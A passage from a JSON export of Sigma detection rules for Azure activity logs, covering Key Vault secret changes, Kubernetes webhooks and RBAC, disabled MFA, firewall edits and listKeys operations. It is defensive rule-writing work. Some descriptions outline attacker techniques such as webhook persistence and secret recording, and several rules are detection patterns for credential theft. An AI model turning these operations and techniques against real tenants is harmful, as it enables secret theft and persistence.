"content": "title: Azure Key Vault Modified or Deleted\nid: 459a2970-bb84-4e6a-a32e-ff0fbd99448d\nstatus: test\ndescription: Identifies when a key vault is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.credential-access\n - attack.t1552\n - attack.t1552.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KEYVAULT/VAULTS/WRITE\n - MICROSOFT.KEYVAULT/VAULTS/DELETE\n - MICROSOFT.KEYVAULT/VAULTS/DEPLOY/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/ACCESSPOLICIES/WRITE\n condition: selection\nfalsepositives:\n - Key Vault being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_keyvault_secrets_modified_or_deleted.yml",
"content": "title: Azure Keyvault Secrets Modified or Deleted\nid: b831353c-1971-477b-abb6-2828edc3bca1\nstatus: test\ndescription: Identifies when secrets are modified or deleted in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.credential-access\n - attack.t1552\n - attack.t1552.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/WRITE\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/DELETE\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/BACKUP/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/PURGE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/UPDATE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/RECOVER/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/RESTORE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/SECRETS/SETSECRET/ACTION\n condition: selection\nfalsepositives:\n - Secrets being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_admission_controller.yml",
"content": "title: Azure Kubernetes Admission Controller\nid: a61a3c56-4ce2-4351-a079-88ae4cbd2b58\nstatus: test\ndescription: |\n Identifies when an admission controller is executed in Azure Kubernetes.\n A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\n The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\n An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\n For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\n An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\n An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\nauthor: Austin Songer @austinsonger\ndate: 2021-11-25\nmodified: 2022-12-18\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1078\n - attack.credential-access\n - attack.t1552\n - attack.t1552.007\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName|startswith:\n - 'MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO'\n - 'MICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO'\n operationName|endswith:\n - '/MUTATINGWEBHOOKCONFIGURATIONS/WRITE'\n - '/VALIDATINGWEBHOOKCONFIGURATIONS/WRITE'\n condition: selection\nfalsepositives:\n - Azure Kubernetes Admissions Controller may be done by a system administrator.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml",
"content": "title: Azure Kubernetes Cluster Created or Deleted\nid: 9541f321-7cba-4b43-80fc-fbd1fb922808\nstatus: test\ndescription: Detects when a Azure Kubernetes Cluster is created or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/DELETE\n condition: selection\nfalsepositives:\n - Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_cronjob.yml",
"content": "title: Azure Kubernetes CronJob\nid: 1c71e254-6655-42c1-b2d6-5e4718d7fc0a\nstatus: test\ndescription: |\n Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\n Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\n An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/\n - https://kubernetes.io/docs/concepts/workloads/controllers/job/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\nauthor: Austin Songer @austinsonger\ndate: 2021-11-22\nmodified: 2022-12-18\ntags:\n - attack.persistence\n - attack.t1053.003\n - attack.privilege-escalation\n - attack.execution\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName|startswith:\n - 'MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/BATCH'\n - 'MICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/BATCH'\n operationName|endswith:\n - '/CRONJOBS/WRITE'\n - '/JOBS/WRITE'\n condition: selection\nfalsepositives:\n - Azure Kubernetes CronJob/Job may be done by a system administrator.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml",
"content": "title: Azure Kubernetes Events Deleted\nid: 225d8b09-e714-479c-a0e4-55e6f29adf35\nstatus: test\ndescription: Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-08-23\ntags:\n - attack.defense-evasion\n - attack.t1562\n - attack.t1562.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName: MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE\n condition: selection\nfalsepositives:\n - Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_network_policy_change.yml",
"content": "title: Azure Kubernetes Network Policy Change\nid: 08d6ac24-c927-4469-b3b7-2e422d6e3c43\nstatus: test\ndescription: Identifies when a Azure Kubernetes network policy is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.credential-access\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/NETWORKING.K8S.IO/NETWORKPOLICIES/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/NETWORKING.K8S.IO/NETWORKPOLICIES/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EXTENSIONS/NETWORKPOLICIES/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EXTENSIONS/NETWORKPOLICIES/DELETE\n condition: selection\nfalsepositives:\n - Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_pods_deleted.yml",
"content": "title: Azure Kubernetes Pods Deleted\nid: b02f9591-12c3-4965-986a-88028629b2e1\nstatus: test\ndescription: Identifies the deletion of Azure Kubernetes Pods.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName: MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE\n condition: selection\nfalsepositives:\n - Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_role_access.yml",
"content": "title: Azure Kubernetes Sensitive Role Access\nid: 818fee0c-e0ec-4e45-824e-83e4817b0887\nstatus: test\ndescription: Identifies when ClusterRoles/Roles are being modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLES/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLES/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLES/BIND/ACTION\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLES/ESCALATE/ACTION\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLES/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLES/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLES/BIND/ACTION\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLES/ESCALATE/ACTION\n condition: selection\nfalsepositives:\n - ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml",
"content": "title: Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted\nid: 25cb259b-bbdc-4b87-98b7-90d7c72f8743\nstatus: test\ndescription: Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.credential-access\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/DELETE\n condition: selection\nfalsepositives:\n - RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml",
"content": "title: Azure Kubernetes Secret or Config Object Access\nid: 7ee0b4aa-d8d4-4088-b661-20efdf41a04c\nstatus: test\ndescription: Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/CONFIGMAPS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/CONFIGMAPS/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/SECRETS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/SECRETS/DELETE\n condition: selection\nfalsepositives:\n - Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_kubernetes_service_account_modified_or_deleted.yml",
"content": "title: Azure Kubernetes Service Account Modified or Deleted\nid: 12d027c3-b48c-4d9d-8bb6-a732200034b2\nstatus: test\ndescription: Identifies when a service account is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1531\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/SERVICEACCOUNTS/WRITE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/SERVICEACCOUNTS/DELETE\n - MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/SERVICEACCOUNTS/IMPERSONATE/ACTION\n condition: selection\nfalsepositives:\n - Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_mfa_disabled.yml",
"content": "title: Disabled MFA to Bypass Authentication Mechanisms\nid: 7ea78478-a4f9-42a6-9dcd-f861816122bf\nstatus: test\ndescription: Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.\nreferences:\n - https://learn.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates\nauthor: '@ionsor'\ndate: 2022-02-08\ntags:\n - attack.defense-evasion\n - attack.credential-access\n - attack.persistence\n - attack.t1556\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n eventSource: AzureActiveDirectory\n eventName: 'Disable Strong Authentication.'\n status: success\n condition: selection\nfalsepositives:\n - Authorized modification by administrators\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_network_firewall_policy_modified_or_deleted.yml",
"content": "title: Azure Network Firewall Policy Modified or Deleted\nid: 83c17918-746e-4bd9-920b-8e098bf88c23\nstatus: test\ndescription: Identifies when a Firewall Policy is Modified or Deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-09-02\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.defense-evasion\n - attack.t1562.007\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/WRITE\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/JOIN/ACTION\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/CERTIFICATES/ACTION\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE\n condition: selection\nfalsepositives:\n - Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_network_firewall_rule_modified_or_deleted.yml",
"content": "title: Azure Firewall Rule Configuration Modified or Deleted\nid: 2a7d64cf-81fa-4daf-ab1b-ab80b789c067\nstatus: test\ndescription: Identifies when a Firewall Rule Configuration is Modified or Deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/RULECOLLECTIONGROUPS/WRITE\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/RULECOLLECTIONGROUPS/DELETE\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/RULEGROUPS/WRITE\n - MICROSOFT.NETWORK/FIREWALLPOLICIES/RULEGROUPS/DELETE\n condition: selection\nfalsepositives:\n - Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_network_p2s_vpn_modified_or_deleted.yml",
"content": "title: Azure Point-to-site VPN Modified or Deleted\nid: d9557b75-267b-4b43-922f-a775e2d1f792\nstatus: test\ndescription: Identifies when a Point-to-site VPN is Modified or Deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/WRITE\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/DELETE\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/RESET/ACTION\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/GENERATEVPNPROFILE/ACTION\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/DISCONNECTP2SVPNCONNECTIONS/ACTION\n - MICROSOFT.NETWORK/P2SVPNGATEWAYS/PROVIDERS/MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/WRITE\n condition: selection\nfalsepositives:\n - Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_network_security_modified_or_deleted.yml",
"content": "title: Azure Network Security Configuration Modified or Deleted\nid: d22b4df4-5a67-4859-a578-8c9a0b5af9df\nstatus: test\ndescription: Identifies when a network security configuration is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/WRITE\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/DELETE\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/SECURITYRULES/WRITE\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/SECURITYRULES/DELETE\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/JOIN/ACTION\n - MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/PROVIDERS/MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/WRITE\n condition: selection\nfalsepositives:\n - Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_network_virtual_device_modified_or_deleted.yml",
"content": "title: Azure Virtual Network Device Modified or Deleted\nid: 15ef3fac-f0f0-4dc4-ada0-660aa72980b3\nstatus: test\ndescription: |\n Identifies when a virtual network device is being modified or deleted.\n This can be a network interface, network virtual appliance, virtual hub, or virtual router.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/NETWORKINTERFACES/TAPCONFIGURATIONS/WRITE\n - MICROSOFT.NETWORK/NETWORKINTERFACES/TAPCONFIGURATIONS/DELETE\n - MICROSOFT.NETWORK/NETWORKINTERFACES/WRITE\n - MICROSOFT.NETWORK/NETWORKINTERFACES/JOIN/ACTION\n - MICROSOFT.NETWORK/NETWORKINTERFACES/DELETE\n - MICROSOFT.NETWORK/NETWORKVIRTUALAPPLIANCES/DELETE\n - MICROSOFT.NETWORK/NETWORKVIRTUALAPPLIANCES/WRITE\n - MICROSOFT.NETWORK/VIRTUALHUBS/DELETE\n - MICROSOFT.NETWORK/VIRTUALHUBS/WRITE\n - MICROSOFT.NETWORK/VIRTUALROUTERS/WRITE\n - MICROSOFT.NETWORK/VIRTUALROUTERS/DELETE\n condition: selection\nfalsepositives:\n - Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_new_cloudshell_created.yml",
"content": "title: Azure New CloudShell Created\nid: 72af37e2-ec32-47dc-992b-bc288a2708cb\nstatus: test\ndescription: Identifies when a new cloudshell is created inside of Azure portal.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer\ndate: 2021-09-21\nmodified: 2022-08-23\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName: MICROSOFT.PORTAL/CONSOLES/WRITE\n condition: selection\nfalsepositives:\n - A new cloudshell may be created by a system administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml",
"content": "title: Azure Owner Removed From Application or Service Principal\nid: 636e30d5-3736-42ea-96b1-e6e2f8429fd6\nstatus: test\ndescription: Identifies when a owner is was removed from a application or service principal in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy\nauthor: Austin Songer @austinsonger\ndate: 2021-09-03\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message:\n - Remove owner from service principal\n - Remove owner from application\n condition: selection\nfalsepositives:\n - Owner being removed may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_rare_operations.yml",
"content": "title: Rare Subscription-level Operations In Azure\nid: c1182e02-49a3-481c-b3de-0fadc4091488\nstatus: test\ndescription: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml\nauthor: sawwinnnaung\ndate: 2020-05-07\nmodified: 2023-10-11\ntags:\n - attack.t1003\n - attack.credential-access\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n keywords:\n - Microsoft.DocumentDB/databaseAccounts/listKeys/action\n - Microsoft.Maps/accounts/listKeys/action\n - Microsoft.Media/mediaservices/listKeys/action\n - Microsoft.CognitiveServices/accounts/listKeys/action\n - Microsoft.Storage/storageAccounts/listKeys/action\n - Microsoft.Compute/snapshots/write\n - Microsoft.Network/networkSecurityGroups/write\n condition: keywords\nfalsepositives:\n - Valid change\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_service_principal_created.yml",
"content": "title: Azure Service Principal Created\nid: 0ddcff6d-d262-40b0-804b-80eb592de8e3\nstatus: test\ndescription: Identifies when a service principal is created in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy\nauthor: Austin Songer @austinsonger\ndate: 2021-09-02\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message: 'Add service principal'\n condition: selection\nfalsepositives:\n - Service principal being created may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_service_principal_removed.yml",
